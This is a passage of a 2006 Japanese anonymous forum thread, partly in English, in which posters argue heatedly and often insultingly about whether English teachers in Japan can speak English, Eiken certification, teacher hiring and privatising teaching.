294 :実習生さん:2006/11/19(日) 18:23:55 ID:BI3ZYHTw
If they know the ways to talk the students into studying a little
or at least staying in their classrooms without walking around
hallways, they can be a good teacher in difficult schools.

Those skills are as important as English proficiency.

295 :実習生さん:2006/11/19(日) 18:47:27 ID:bCL1U4zv
英語なんかどうでもいい

296 :実習生さん:2006/11/19(日) 19:17:02 ID:aMYiHfSd
俺の行っていた高校なら、英語教師は英検なんてとる気なら
簡単だったろうな。でも、そんな馬鹿なことに関心を向ける
レベルじゃなかったと思う。

297 :教師:2006/11/19(日) 19:30:10 ID:Tf3rrkVl
うちは全員に英検受けさせるよ〜(生徒)
中学卒業までに出来れば3級。最低で4級。
んで、高1でみんなが3級。
受けたいって奴はそれ以上も指導する。
でも、高校生で1級とったやつは、ここんとこいないな。
そんなにレベル高い学校じゃないんで。
準1級ぐらいは、よく指導するんだけど、
俺は4級。w 寝たとして面白いから、そのままできたんだけど、
(「4級の俺がつくったテストを2級のお前がどうして出来ないんだ」とか、
AETと雑談してて、「ボクは4級なんで、3級のこの生徒に通訳してもらってイイですか」とか)
最近は「5級」ってあるじゃん。
だから寝たとしての面白みが減ってきた。。。。

298 :実習生さん:2006/11/19(日) 19:30:11 ID:3tb7T/Al
>>296
文部科学省が取得させようとしてるんだから取れるならとらないと。

299 :実習生さん:2006/11/19(日) 19:40:46 ID:xxJDUMfR

>>1の記事の正しさは、
このスレで日本語で屁理屈こねたりデマカセ言ってる英語教師たちが証明してるだろw

300 :実習生さん:2006/11/19(日) 20:25:09 ID:m74Tur1v
>>299 お前の周りにはいい英語教師いなかったんだなw
バカにはいい学校・教師探すの無理だもんなw

301 :実習生さん:2006/11/19(日) 23:33:59 ID:RM6AO0Iz
>>294
いかにも日本人の英語だね。
べつにいいけどw

302 :実習生さん:2006/11/19(日) 23:36:03 ID:RM6AO0Iz
ここは、いい英語教師のいない底辺校出身の連中がたむろするスレですか?

303 :実習生さん:2006/11/19(日) 23:52:49 ID:RM6AO0Iz
本来自由受験の英検を持ち出して、その級イコール英語力なんて短絡な思考で
議論しようなんて事がドダイ無理なんだよ。
所詮、学校の現場を知らずして制度だけいじくり、学力低下を招いて知らん顔の
文科省の言うことなんて鵜呑みにするバカも今どきいるんだな。

304 :実習生さん:2006/11/20(月) 00:02:21 ID:ltXJ0kZ3
>>303
だね
自分が英語ができないのは英語教師のせいにしたい人が多いだろうな
でも、100mを10秒切れないと言って、体育教師のせいにはしない
この不思議さ

305 :実習生さん:2006/11/20(月) 00:25:07 ID:RAPyyrES
>>304
だね
同じ教科書を使って同じ先生に習っても凄くできる奴もいれば、ここで文句言ってるような
まったく低学力の奴もいる。低学力の奴に限ってすべて先生や学校のせいにしたがる。
まったく不思議だね。

306 :実習生さん:2006/11/20(月) 01:14:38 ID:YM9jgWmt
グダグダ言ってないで勉強しろ

307 :実習生さん:2006/11/20(月) 01:57:13 ID:ltXJ0kZ3
まぁ、これも勉強の一つだってわからんかね
わかんないだろうなぁ

308 :実習生さん:2006/11/20(月) 07:35:17 ID:Rg6+4+EB

つーか、このスレで勉強しなければならないのは、
英会話ができないのに英語教師を続けるその厚顔だろ。
そこは、見習えってことだよな?

309 :実習生さん:2006/11/20(月) 10:05:17 ID:ZvsAXwY1
教師にはそこまでの英語力は必要ないとも言える。
だって生徒の学力がついてこないから。これ事実。

310 :実習生さん:2006/11/20(月) 19:29:11 ID:ZkLEbLvR
>>297 うちの娘は準2級だよ。ただの自慢だけど。

311 :実習生さん:2006/11/20(月) 19:30:58 ID:M3BrE4b/

そこまでの英語力が必要ないなら、大学生にでもやらせた方がいいな。
40にもなって中学英語を教えてるなんてみっともないし、金の無駄。


312 :実習生さん:2006/11/20(月) 21:28:12 ID:ltXJ0kZ3
>>311
それは言えてる
なので、有能な先生は20代でどんどん辞めてるわけ


313 :実習生さん:2006/11/20(月) 21:31:30 ID:VYkDOLJ3
I prefer English teachers with a good command of the language to the ones
with poor English abilities... That's for sure.

When their teachers enjoy learning English themselves and their students
see them they do, the students want to learn it more, I think.
Students and teachers should learn it together. In that sense, teachers
are not teachers in a traditional sense; teachers were considered to
be the ones who always know the answers, like the almighty god.

Today, JEPs are more of facilitators than of teachers.

>>301

I quite agree with you. :-)

314 :実習生さん:2006/11/21(火) 06:58:29 ID:VioOL9hl
>>312
40,50で英語教師やってるやつは残りカスってことか・・・

315 :実習生さん:2006/11/21(火) 07:53:39 ID:vQL09X/m
英語なんて、やっても無駄無駄、それより国語をやたほうが有益だ
日常で英語なんて使わねーだろ、それが無駄な証拠。
でもしょうがないよね。学歴社会でアメリカの言いなりになっているこの国では
英語は必要だよね。まあ日本が世界のトップに躍り出れば英語なんて必要なくなるんだが
無理だね。英語教師が日本語しか話さない理由は、簡単に言うと、馬鹿だから、
彼らの頭の中にはさらさら英語なんて興味なんてないんです、それが英語を話せない理由。
まあ、すくなくともこういう理由はあるだろう


316 :実習生さん:2006/11/21(火) 07:55:19 ID:90wt72dZ
というより、アホガキどものお相手をしてくれる優しい人達だよw

317 :実習生さん:2006/11/21(火) 13:45:22 ID:8DTUOJph
>>316 英語に限らず、教師はほとんどバカだし、それでオケー。
バカ猿どもの相手にはバカ教師で十分。いい先生は進学校にいれば十分。

318 :実習生さん:2006/11/21(火) 15:46:50 ID:SxAUkNzE
まぁ、自分で馬鹿と自覚してるだけでも少しはマシな教師なのかもしれないが、
バカにはバカなりの待遇があるからな。時給500円ぐらいでいいだろw



319 :実習生さん:2006/11/21(火) 19:23:52 ID:4wu+ezsB
英語の先生なら、1級くらい簡単にとれるんじゃないの。ただ、それを
とったからといって、給料が上がる訳じゃないだろ? 民間はさあ、
資格を取ると給料が上がる会社が結構あるんだよなあ。それと間違えて
いない?



320 :実習生さん:2006/11/21(火) 19:52:12 ID:X/00Rwp+
栄養士とったら資格手当てで給食調理員の給与あがるのは確かだけど
英語の先生が英検持っててもその人のステータスが上がるだけだったな

>>英語の先生なら、1級くらい簡単にとれるんじゃないの
これはどうかな?w
多分中高ではほとんどの英語教師が無理だと思う
英語教師は読解や作文に強いだろうが
1級ではかなり対話に重点が置かれているからな
具体的には聞き取りが何問かあり
その聞き取りチャンスが一回しかなく
さらにそれに早めに答える必要がある

会話も日常会話だけじゃないからかなり難しい
毎日ネイティブスピークを聞いているぐらいじゃないと不可能

そもそも勉強する時間が中高の教師には無い品w

321 :実習生さん:2006/11/21(火) 19:57:13 ID:7oCZBfvf
だったら教師になる前に大学で取ればいいじゃん

322 :実習生さん:2006/11/21(火) 20:10:00 ID:dY0O5Uxx
>>319
>>民間はさあ、 資格を取ると給料が上がる会社が結構あるんだよなあ。それと間違えて
>>いない?

そうそう。だから学校の教員も同じようにしないといけないわけよ。
学校の教員は、自分の英語力どころか、生徒に間違い教えても給料変わらないからね。
バカ教員は減給とか、クビにすべきってこと。




323 :実習生さん:2006/11/21(火) 20:31:34 ID:8DTUOJph
教員はバカの就く職業。頭のいいやつはもっといい職に就いて、金稼いでる。
だからバカ教員クビにしても、同様のバカしか入ってこないので意味はない。
給料下げるても同様で、更にバカ教員を増やすだけ。

324 :実習生さん:2006/11/21(火) 20:42:56 ID:dY0O5Uxx
>>323
>>だからバカ教員クビにしても、同様のバカしか入ってこないので意味はない。

何言ってるんだよ。塾や予備校がこれだけあるんだから、教職を民間に開放すればなり手はたくさんいるよ。
バカ教員を税金で守ってるから、バカ教員がバカのままだったり、バカな上にやる気のない教員がはびこるんだよ。



325 :実習生さん:2006/11/21(火) 20:52:29 ID:AM4bnKzv
予備校講師経験者だけど、俺は学校の教員なんかなりたくないな。
教科指導以外のよけいな労働と勉強する気もない生徒の相手はゴメンだ。

326 :実習生さん:2006/11/21(火) 20:52:54 ID:8DTUOJph
>>324
>教職を民間に開放すれば
何をいってる? もうとっくに開放されてるぞ?免許あれば教員試験なぞ誰でも受けれる。
それとも免許ももってないバカを教師にするのか? あと塾出身の教師など腐るほどもういる。
だがそいつらも大して優秀ではない。学校教員なんてバカがなる職業なんだからな。

327 :実習生さん:2006/11/21(火) 21:26:25 ID:dY0O5Uxx
>>326
お前、何にもわかってないか、教員のぬるま湯利権に目がくらんでメチャクチャ言ってるかどっちかだな。

>>何をいってる? もうとっくに開放されてるぞ?免許あれば教員試験なぞ誰でも受けれる。

公立校の教員はいまだに公務員だろ。公務員なんかにしないで、
バカ教員はビシビシ首にして新規参入をどんどん認めればいいんだよ。

328 :実習生さん:2006/11/21(火) 21:27:59 ID:U/UFN/Fl
I'm a teacher.
Let's speak English, shall we?


329 :実習生さん:2006/11/21(火) 21:31:32 ID:iHDeb7mu
公務員でもクビにしてないだけでできるんだよ無知が
どこの法律にクビにできないと書いてある

330 :実習生さん:2006/11/21(火) 21:35:29 ID:AAY7OnaH
わたくし公立中学校の英語教師ですが、英語はふつうにできますよ。
7年間ふつうにアメリカで暮らしてましたし、家で家族と話すのも半分
英語だったりします。
もちろん日本語もふつうに話せます。

なのでこのスレは終了で良いですか?

331 :実習生さん:2006/11/21(火) 21:36:43 ID:8DTUOJph
>>327 ほんとバカだな。バカ教員くびにしても、また入ってくるのはバカなんだよ。
大して高くもない給料上に、ビシビシクビきられるような雇用形態の職などに優秀な人材が
集まるわけないだろ。あと今は臨時職員が大増殖してるし、免許更新制も導入されるから、
おまえが心配しなくても教員の雇用は不安定化のほうに向かってるよ。

332 :実習生さん:2006/11/21(火) 21:40:54 ID:dY0O5Uxx
>>329
>>公務員でもクビにしてないだけでできるんだよ無知が

はぁ?そんなこと言って何の意味あるんだ?
クビにできるのにバカ教員をのさばらしてどうするんだよ、このボケw
お前の言ってるのは、“巨人の4番は本塁打打てるけど打たないだけなんだ”ってのと同じw

あはは、笑えるな、このバカw






333 :実習生さん:2006/11/21(火) 21:41:43 ID:AM4bnKzv
まず世のバカ親とアホガキを叩き直さないと優秀な人材が集まる職種にはなれないね。

334 :実習生さん:2006/11/21(火) 21:43:53 ID:dY0O5Uxx
>331
>ほんとバカだな。バカ教員くびにしても、また入ってくるのはバカなんだよ

あのな、問題は今学校にいるバカ教員は自分をバカだと思ってないんだよ。
クビにならないからオレは優秀だ、って勘違いしてる奴らばかりなんだ、わかるか?
同じバカでも、自分のバカさ加減を自覚して努力する奴のほうが数段増しだろ。



335 :実習生さん:2006/11/21(火) 21:44:25 ID:7oCZBfvf
段々このスレのレベルが低くなってきたなw

336 :実習生さん:2006/11/21(火) 21:47:02 ID:AAY7OnaH
>>335
うん。そうだね。

ちなみに334さん、学校にいるバカ教員は自分をバカだと思い始めていますよw


337 :実習生さん:2006/11/21(火) 21:55:36 ID:dY0O5Uxx
>>336
確かに、自分のバカさ加減を認めざるを得ない教員もいるかもな。
たとえば、オレがこのスレで指摘した奴とかw
でも、努力に結びつかなきゃ意味がない。
“オレはバカだけど生徒は塾で勉強するから、まっいいか”じゃ困るわけ。

そもそも教員なんて公務員じゃなくてもいいわけ。
クビにならないとわかれば、誰でも忽ちサボリだすからな。
小学校の教員はよくわからないが、中学高校の英語教員なんて民間委託にしたほうがいいよ。


338 :実習生さん:2006/11/21(火) 21:58:01 ID:7oCZBfvf
本当のバカ教員というのは、自分がバカだということに気づいてない教師のことだな

339 :実習生さん:2006/11/21(火) 22:04:03 ID:AAY7OnaH
>中学高校の英語教員なんて民間委託にしたほうがいいよ
それは理想的ですねッ。

ってゆうか、教科指導・生活指導・部活指導、それぞれ違った分野から、
違った方法で採用すればいいんだと思うのです。
なんで全部一緒にやってるのか意味わかんね。

340 :実習生さん:2006/11/21(火) 22:10:46 ID:iHDeb7mu
ははは
まだわからないようだな

これは公務員と言うよりその中でも偉い官僚様の問題なのだよ
下っ端公務員でもクビにすると官僚様も危なくなるからしないだけなのだ

341 :実習生さん:2006/11/21(火) 22:13:05 ID:dY0O5Uxx
>>340
お前は、そんな大それたこと考えると頭が破裂するから、
さっきオレが言ったような、
“巨人の4番は本塁打打てるけど打たないだけなんだ”って言うことがいかにアホなことか理解することが先決だなw



342 :実習生さん:2006/11/21(火) 22:20:01 ID:iHDeb7mu
巨人の4番などと一括りにしかできないシンプルな脳味噌を御持ちなのですね
かわいそう

343 :実習生さん:2006/11/21(火) 22:54:48 ID:U/UFN/Fl
>>330

What about your coleagues?
Aren't you just an exception?
I wonder how the other teachers treat you.
Don't they get jealous of you?
Well, I hope not.

344 :実習生さん:2006/11/21(火) 22:56:19 ID:8DTUOJph
>>337
>>そもそも教員なんて公務員じゃなくてもいいわけ。

この一文とってみても、お前の考えのなさがわかる。私学の教員もいるので、
公務員以外の教員は実際にいるが、全国で均一な教育するには公立じゃないと
無理だろが。ど田舎で民間委託なんて成り立つはずもない。
まあ田舎者には教育などいらないという考えなら話は別。でもそれは憲法違反。

345 :実習生さん:2006/11/21(火) 23:07:36 ID:AAY7OnaH
>>343
確かに他の学校で研究授業をみるとビックリな英語力の先生もいました。
「なに?高校生??」みたいなw
other teachersって言っても、ゥチの学校の英語のせんせいってヮタシを含めて2人しかいないんですょw
お互いの授業を見るコトもほとんどなぃですし、もちろん日本語で会話してますし。


346 :実習生さん:2006/11/21(火) 23:09:47 ID:U/UFN/Fl
More and more local governments in big cities are leaving JET program
and have started using private human resource companies for sending
ALTs. They can do that because there are a lot of foreigners
in big cities, but obviously smaller cities in rural areas seem
to still depend on JET program to secure ALTs there.

The same is true with English teachers. Teachers should be
public workers especially in rural areas.

347 :実習生さん:2006/11/21(火) 23:10:54 ID:iHDeb7mu
>>345
お前の日本語にびっくり
死ねよゴミクズ

348 :実習生さん:2006/11/21(火) 23:13:15 ID:U/UFN/Fl
>>345

高校生ですか。その研究授業で意見を求められて「結構な授業でした」
などとお世辞を言わねばならないのだったら大変ですね。


349 :実習生さん:2006/11/21(火) 23:15:42 ID:AAY7OnaH
はぃA死にまァ〜すw

ぢゃぁねッ>iHDeb7mu(* ^ー゚)ノ
ごめんネッ>346サン

350 :実習生さん:2006/11/21(火) 23:23:25 ID:U/UFN/Fl
Oh, darn! She's left here, hasn't she?
I was actually interested in why she became an English teacher
in a junior high school.
Seven years in the U.S.! To be able to speak English 普通に with
any difficulties. Isn't she too good to be a teacher?

351 :実習生さん:2006/11/21(火) 23:24:25 ID:U/UFN/Fl
I mean, withOUT difficulties...

352 :実習生さん:2006/11/22(水) 01:57:57 ID:y0NQZbym
ぶっちゃけ英語の教員免許取るのはそれ程難しくないしな。
要求されるレベルも、実用英語とは比べ物にはならんし。



353 :実習生さん:2006/11/22(水) 07:58:06 ID:csmb/SEb
実用英語の方がレベルは遙かに下だろ。
ただ、なぜできない人間が多いかというと、日本では実用英語教育が立ち後れているから。
実際、中学、高校や大学できちんと勉強していれば、英会話や実用的な英語は訓練次第でうまくなる。
それと免許うんぬんは全く別次元の話。
免許を取るだけなら大学で専門科目を履修して教職課程をとればいい。
それはどの教科も同じ。難しいのは教員採用試験にパスするかどうかだ。
これは単に教科の学力が高いだけでは受からない。
現に、英語の教員志望の者でも、英会話はよくできるけど採用試験のための力がないために
何年も落ちてるやつはたくさんいる。

354 :実習生さん:2006/11/22(水) 08:56:25 ID:vlgOjcKY
なるほど。英語教員が英語できないのは、その採用試験にも問題ありだな。
なにしろ、英語できない英語教師が試験管になったりするんだから、
英語できたりする奴を落としたりするんだろ。

355 :実習生さん:2006/11/22(水) 10:06:50 ID:csmb/SEb
英語ができるだけでは教師としての資質があるとは言えないからだよ。
また、教科書レベルの内容を生徒に対して説明するためにはそれほど高い英語力を要しないのも事実。
だから教員採用試験では、教科の学力よりも教育に対する情熱や知識、判断力などが問われる。
世の中の親がもっとまともになって、もっとマシな子育てをしてから学校という社会に
送り出すような国ならばもっと学校も純粋に学問の場になる。
現状では問題があまりにも多すぎるから、教科の力よりも優先するものがどうしてもある。
それと、教師がすべて英語の力がないと思うのは不幸にもそういう先生に巡り会わなかった
つまり底辺校出身か、自分が英語ができないのを先生のせいにしたいだけに思える。
向学心があれば、こんなところで文句を言うだけのつまらない人間にはならないはず。
俺は少なからず先生のお世話になったしたくさん教えてもらった。
だから、多少なりとも公平な考えは持っていると思う。

356 :実習生さん:2006/11/22(水) 13:25:19 ID:2Pyhlu5S
>>355
>>だから教員採用試験では、教科の学力よりも教育に対する情熱や知識、判断力などが問われる。

今の教員は、教育に対する情熱や知識、判断がすぐれてるのか??w


357 :実習生さん:2006/11/22(水) 13:37:17 ID:UjqTieSw
専門にやってるくせに、英検準1級持ってるのがたった1割かよ。
そんな奴に勉強しろ、とか言われたくないね。

358 :実習生さん:2006/11/22(水) 13:39:31 ID:csmb/SEb
>>356
採用試験に落ちる人間よりも優れていると言うことだろう。
今の時代は昔よりもその点が必要なのだよ。
昔の先生の方が情熱などがあったとは言えない。
家庭教育がしっかりとしていた分、昔の先生の方が楽だったのは確か。

359 :実習生さん:2006/11/22(水) 13:41:04 ID:csmb/SEb
>>357
英検は自由受験だからとらなければならない理由はない。
勉強したくなければしなくていいのでは?
その代わり義務教育がすんだら学校に行かない方が周囲のためだと思うよ。

360 :実習生さん:2006/11/22(水) 13:49:15 ID:G7g59was
>>357
いっその事消えればいい

361 :実習生さん:2006/11/22(水) 14:04:08 ID:2Pyhlu5S
>>357
自分で勉強しない奴が、子供に勉強しろ、とか言っても言うこと聞かないどころか、
逆効果だよな。


362 :実習生さん:2006/11/22(水) 14:05:07 ID:csmb/SEb
そういうやつは誰が言ってもしない。別に英語教師のせいではない。

363 :実習生さん:2006/11/22(水) 14:05:54 ID:2Pyhlu5S
英語の教員はいっそのこと民間委託でいいだろ。
今でも、生徒が本気で勉強してるのは塾だよ。
今のガッコの教員の手抜き授業に付き合わせるのは時間の無駄だ。


364 :実習生さん:2006/11/22(水) 14:08:36 ID:csmb/SEb
本気で勉強したい生徒が塾に行ってるからね。
学校はやる気のない生徒まで面倒見なければならないからしんどいのでは?

365 :実習生さん:2006/11/22(水) 14:09:49 ID:csmb/SEb
民間委託すると、授業料は高いだろうな。
補習しても相談に乗ってもすべてチケット制かなにかで金がかかるかも。


366 :実習生さん:2006/11/22(水) 14:10:08 ID:UjqTieSw
民営化いいね。英語教師ならできそうだな。

367 :実習生さん:2006/11/22(水) 14:11:39 ID:csmb/SEb
私立学校は民間委託みたいなもんだな。

368 :実習生さん:2006/11/22(水) 14:12:06 ID:2Pyhlu5S
40や50にもなって中学英語しか教えられない奴でも、いっぱしの給料もらってるんだからな。
そいつらの仕事は大学生でもできるわけだし、そうすれば人件費は半分ぐらいにできるよ。

369 :実習生さん:2006/11/22(水) 14:13:18 ID:csmb/SEb
結局大学生程度の英語力でいいのか。

370 :実習生さん:2006/11/22(水) 14:18:13 ID:UjqTieSw
40代の英語教師より英語力のある大学生なんて沢山いるしね。

371 :実習生さん:2006/11/22(水) 14:21:18 ID:csmb/SEb
なら学校辞めてバイト学生がやってる塾に行けばいい。
そうすれば誰も困らない。
義務教育がすんだら学校に行く義務はないんだから。

372 :実習生さん:2006/11/22(水) 14:23:22 ID:csmb/SEb
とういか、もしかして学校の先生が嫌いなだけなんじゃないの?
落ちこぼれてしかられてばかりいたとか?
こんなところで先生の批判やっても何も変わらないよ。

373 :実習生さん:2006/11/22(水) 14:24:26 ID:2Pyhlu5S
>>370
ダメな英語教師を辞めさせて、もっと英語ができて仕事やる気のある人間をどんどん学校に迎えればいいんだよな。
そうすれば誰も困らない。


374 :実習生さん:2006/11/22(水) 14:25:19 ID:csmb/SEb
誰に言われたから勉強やるとかやらないとかのレベルの人間が入れるような
学校じゃなさそうだけどw

375 :実習生さん:2006/11/22(水) 14:29:44 ID:2Pyhlu5S
確かに教員はいくら言われても勉強しないからなぁ。

376 :実習生さん:2006/11/22(水) 14:35:42 ID:csmb/SEb
同じ教科書を使って同じ先生に習っても、同じクラス内でできるやつもいればそうでないやつもいる。
要は本人の自覚の問題。これ以上言うことはないと思う。

377 :実習生さん:2006/11/22(水) 14:36:33 ID:JkSOihgI
でも、うちの学校(大学)この前、外人が来たんだけど英語の先生と何故か通訳の
人と同伴だったぜ。あれは、笑った。

378 :実習生さん:2006/11/22(水) 14:40:11 ID:csmb/SEb
やっぱり底辺校の生徒?納得。

379 :実習生さん:2006/11/22(水) 14:40:28 ID:2Pyhlu5S
>>377
あははw 恥ずかしくないのかねぇw

380 :実習生さん:2006/11/22(水) 14:48:37 ID:csmb/SEb
勉強しない、できない生徒に限ってすべて先生のせい。
これって定説のようだね。

381 :実習生さん:2006/11/22(水) 14:59:44 ID:UjqTieSw
おれの中学でも外国人が教えに来たけど、英語の先生とは一言も話すさなかったw

382 :実習生さん:2006/11/22(水) 15:09:25 ID:kc4e49KV
俺は地方駅弁の英語教育専修生だが、一部の落ちこぼれ以外はそこそこ喋れるぞ。
お前ら余程ショボい先生にあたったんだな。かわいそうに。

383 :実習生さん:2006/11/22(水) 15:31:05 ID:2Pyhlu5S
そのかわいそうな生徒が全国にたくさんいるから、英語できない英語教員はクビにしないといけないねw


384 :実習生さん:2006/11/22(水) 17:15:42 ID:s1VV8KN3
>>380
勉強は生徒みずから進んでやるべきだが、

英語の出来ない英語教師が恥ずかしい存在であることには変わりない。

385 :実習生さん:2006/11/22(水) 17:35:49 ID:G7g59was
所詮馬鹿生徒はバカ

386 :実習生さん:2006/11/22(水) 17:57:22 ID:W/aZyO2z
>>382だけど、周りを見てると

「俺ができることは教師として最低限できるべき。俺ができないことはできなくてもいい」

という論調の奴は多いなぁ。文法が得意な奴は「会話イラネ」とか言ってるし、逆に
会話が好きな奴は「文法で英語嫌いにさせても・・・」とかね。
教師としては聞く、話す、読む、書く、そして異文化理解と一通りのことはできるべき
のはずなんだけど。あの論調のまま教師になってそのままベテランと呼ばれる年齢
になったら、同僚にとっても生徒にとっても厄介だろうな。

387 :実習生さん:2006/11/22(水) 19:01:06 ID:IuBept/k
>>386

You are doing a post-graduate course at a teachers' college, aren't you?
So what is your plan?
Do you want to be a teacher or what?
When you get into the workforce, the reality is just what you described
in >>386.

Do you still want to be a teacher?

388 :実習生さん:2006/11/22(水) 19:14:20 ID:W/aZyO2z
>>387
Yes, I do.

Taking the whole situation into consideration,
I'll do what I can do or I should do. That's all.

389 :実習生さん:2006/11/22(水) 19:30:46 ID:/ZXGeeSK
何か勘違いしているみたいだけど、無能な英語教師に教わって
英語ができない子供の愚痴を言うところだろ? そこに英語で
打ち込んでどうするの?


390 :実習生さん:2006/11/22(水) 19:42:39 ID:W/aZyO2z
>>389
行間を読め。

>>387が言いたいのは「俺は英語できるよ(゚∀゚)キミもできるでしょ?(`・ω・´)」
>>388で俺が言ったのは「多少ならなんとか(´・ω・`)」

気取ってaren't you?やらor whatやら言ったり、もろに学校で教わった
まんまの英語しか使えてない時点で二人とも大した英語力はない。

391 :実習生さん:2006/11/22(水) 21:12:28 ID:vlgOjcKY

>>csmb/SEb

キミさ、一日中、英語教員の無能さを言いくるめようと必死だけど、
そんなことするより、英単語のひとつでも覚えたほうがいいとは思わないかい?w



392 :実習生さん:2006/11/22(水) 21:31:01 ID:IuBept/k
>>390

Actually that was not what I wanted. I was afraid that you might be
disappointed to find your future coleagues are not so concerned about
improvement of their own English abilities.

I completely agree with you for the latter half of what you said in >>390.
Both your English and my English are just mediocre, bookish, and full
of unnatural expressions. That's the way it is if we are taught English
only at school and have never lived abroad.

393 :実習生さん:2006/11/22(水) 21:32:13 ID:IuBept/k
...not what I wanted to say...

394 :実習生さん:2006/11/22(水) 21:40:38 ID:oeo1K6Gl
>>385
ま、御説ごもっともで


395 :実習生さん:2006/11/22(水) 21:58:18 ID:8OoDceQC
まさかとは思うが英文の奴は
エキサイトとか使って書いてたりしないよな…w

396 :実習生さん:2006/11/22(水) 22:37:55 ID:vlgOjcKY
決まってるじゃん、エキサイト翻訳君って昔から有名w


397 :実習生さん:2006/11/22(水) 23:34:57 ID:IuBept/k
I'm a teacher myself but what bugs me is how my co-working teachers
neglect practical English skills. I think they are important
and should be a center of our teaching.
My co-workers sometimes go on explaining the structures of English
sentences and spend most of their energy on how skillfully their
students put English into Japanese. They seldom take notice of
what English sounds are like. They don't let their students listen
to their own model reading, much less native speaker's English.
English should be fun but it seems penance or a kind of torture for
their students to endure from the way they present it.


398 :実習生さん:2006/11/23(木) 00:12:33 ID:K8MMIAy4
英語より、国語をしっかりやれ

399 :実習生さん:2006/11/23(木) 00:19:42 ID:nnyosDm4
国語も英語もしっかりやるってのはどうですか?優先順位は勿論
国語です。でも英語をやることで国語にも良い影響が見られるの
です。母国語だと空気のようで、無意識に使っている言語が
外国語となると相対化され、生徒達は言語に意識を向けるように
なります。それは、国語の力も上げることに通じるだろうと
思います。

400 :実習生さん:2006/11/23(木) 03:04:44 ID:Ka9AS14i
いっそのこと教科担当と生徒指導担当分業にすれば良いのにね。
事務処理は民間に委託するとかしてさ。


401 :実習生さん:2006/11/23(木) 04:04:46 ID:9H1HjaD6
>>397
It seems to me that you neglect natural usage of words.
You should be more careful about whether the word you choose is casual or common core or formal.
Therefore, at least we cannot refer to your English as "practical English".

402 :実習生さん:2006/11/23(木) 08:54:25 ID:tDwVt0Lg
>>1 is an idiot.

403 :実習生さん:2006/11/23(木) 09:34:41 ID:nnyosDm4
>>401

I kind of agree with you about my own English, which is "hotch-potch English,"
as some of you put it.
If we don't use English until it will become perfect, I'm afraid the
day will never come. That's how they use it as a second language,
for example in Asia, Africa, South America etc..

'Hotch-Potch English' is fine as long as we can make ourselves understood
and do what we want using the language. The same thing can be said
about your English, which is perfectly understandable, or much better
than mine, needless to say.

404 :実習生さん:2006/11/23(木) 12:11:06 ID:9H1HjaD6
>>403
So you emphasize fluency.
And your colleagues emphasize accuracy.
We need both of them to make ourselves understood very well.
Besides, in the exams you evaluate accuracy that you scarcely taught to students.

Couldn't it be possible to accept your colleagues' method?

405 :実習生さん:2006/11/23(木) 13:19:27 ID:zPaEcYmq
英語喋るには厚かましくないとあきません。



406 :実習生さん:2006/11/23(木) 13:54:21 ID:vi4wFAZf
英文出てきた瞬間、英語教師叩きのアホどもが
どっかへ消えていったぞ! 結局ハエと同じか・・・
そしてまた戻ってくる・・・

407 :実習生さん:2006/11/23(木) 15:34:18 ID:tDwVt0Lg
>>406 Your opinion is rude to flies.

408 :実習生さん:2006/11/23(木) 16:14:01 ID:9H1HjaD6
>>406
でも、生徒が教師の能力を見ていることは間違いないよね。
先生が英語を使えないと生徒は先生を信頼できない。
信頼できない先生にあーだこーだ言われると嫌になる。
すると先生を嫌いになる。やがて英語そのものが嫌いになる。

ここに集まってるのはそういう子たちでしょ?だから教師は生徒の前でショボいことをしないように意識しなきゃならんのよ。

409 :実習生さん:2006/11/23(木) 16:57:11 ID:vi4wFAZf
>>408

>ここに集まってるのはそういう子たちでしょ?

 そこまで考えれる生徒ではないだろ?

410 :実習生さん:2006/11/23(木) 17:02:53 ID:J02ImNCT
英語だけで、人間的に教師として問題がある場合もあるが


411 :実習生さん:2006/11/23(木) 18:06:23 ID:ctdOIqV0
英語教員に英語力は必要ない、とかほざいていたバカ教師どもはどこへ行ったのかな?w


412 :実習生さん:2006/11/23(木) 18:15:56 ID:zPaEcYmq
英語、いらんし
好きなやつだけ、やっとれ!
エービーシーだけ読めればよいわ

413 :H高:2006/11/23(木) 18:31:05 ID:iutHMrX8
He is very snooty.


414 :実習生さん:2006/11/23(木) 19:28:54 ID:oU736V7s
問題は教え方だと思うが、、、、

415 :実習生さん:2006/11/23(木) 19:29:11 ID:wbHwvKHw
むしろ日本語に問題アリな英語教師にばかり遭遇したのは俺だけか?

説明聞いても日本語拙すぎて意味不明で苦労した

416 :実習生さん:2006/11/23(木) 20:37:31 ID:ctdOIqV0
>>415
自分が理解してないことを説明しようとするから、ムチャクチャな日本語になるんじゃないのかなw

417 :実習生さん:2006/11/23(木) 20:48:27 ID:hqOQZMtT
>>412
それならアルファベットすら読めなくてもさして変わらないと思うがw

>>410,>>414-416
そら色々あるでしょ。英語教師として必要な能力ってのも
教採のディスカッションでよく話題になるけど、主なものを挙げると

・言語能力
・教授能力(板書や発問、教材設定、アクティビティーの手数など)
・クラス経営(生徒を公平に扱えるか等)
・生徒理解(生徒がどこを理解できていないか把握できるか)

なんかがよく出てくるみたいね。これらのうちどれかが著しく欠けると
キミらみたいな不満を持った生徒が出てくる。

418 :実習生さん:2006/11/23(木) 21:17:29 ID:hqOQZMtT
まあ、かく言う俺も高校生のころは先生をナメきってたけどなぁ。
特にリーディングの先生で一度和訳問題ばっかのテストを作って
授業でやった訳を覚えずその場で訳してる俺に点数取れない
ようにした先生もいた。79点だったけど全く悔しくなかったなw

ここにいる中高生でハズレ引いちゃった人たちはそんな先生なんか
見限って素直に英語が得意な友達やまともな先生にわからないところを
聞いたほうがいいよ。で、単語帳や参考書、辞書を使って自分で勉強するのが一番。
ヘボい先生の愚痴を言ってても英語ができるようになるわけじゃないしね。

419 :実習生さん:2006/11/23(木) 22:04:14 ID:SybcjjyW
>>411
そんなやつおらんだろ。もしかして日本語も読めないバカ?

420 :実習生さん:2006/11/23(木) 22:14:06 ID:ctdOIqV0
数学も、国語もやらなくていいんだろ、英語教師は?しかも何十年も。
英検1級ぐらい取ればいいんだよ。
そうすれば、こんなに問題にならないんだから。

421 :実習生さん:2006/11/23(木) 22:57:46 ID:nnyosDm4
It's a matter of a balance. Accuracy vs. fluency. Too much emphasis
on either one of them is not good for sure. Of course both of them are important.

It's also a matter of quantity. JETs tend to explain sentence structures
and spend most of their lesson doing that. Chances are students get to
read just one paragraph at the end of a lesson. The amount of English
they are exposed to is so limited. I think students should read more
speak more, and write more.

422 :実習生さん:2006/11/23(木) 23:06:20 ID:nnyosDm4
>in the exams you evaluate accuracy

You were trying to say I'm hypocritical to evaluate students' accuracy.

Actually I don't. I mainly ask them questions about the content of what
is written in the textbook.

423 :実習生さん:2006/11/23(木) 23:53:12 ID:nnyosDm4
I'd have to be ashamed of my English and feel guilty if it was the only
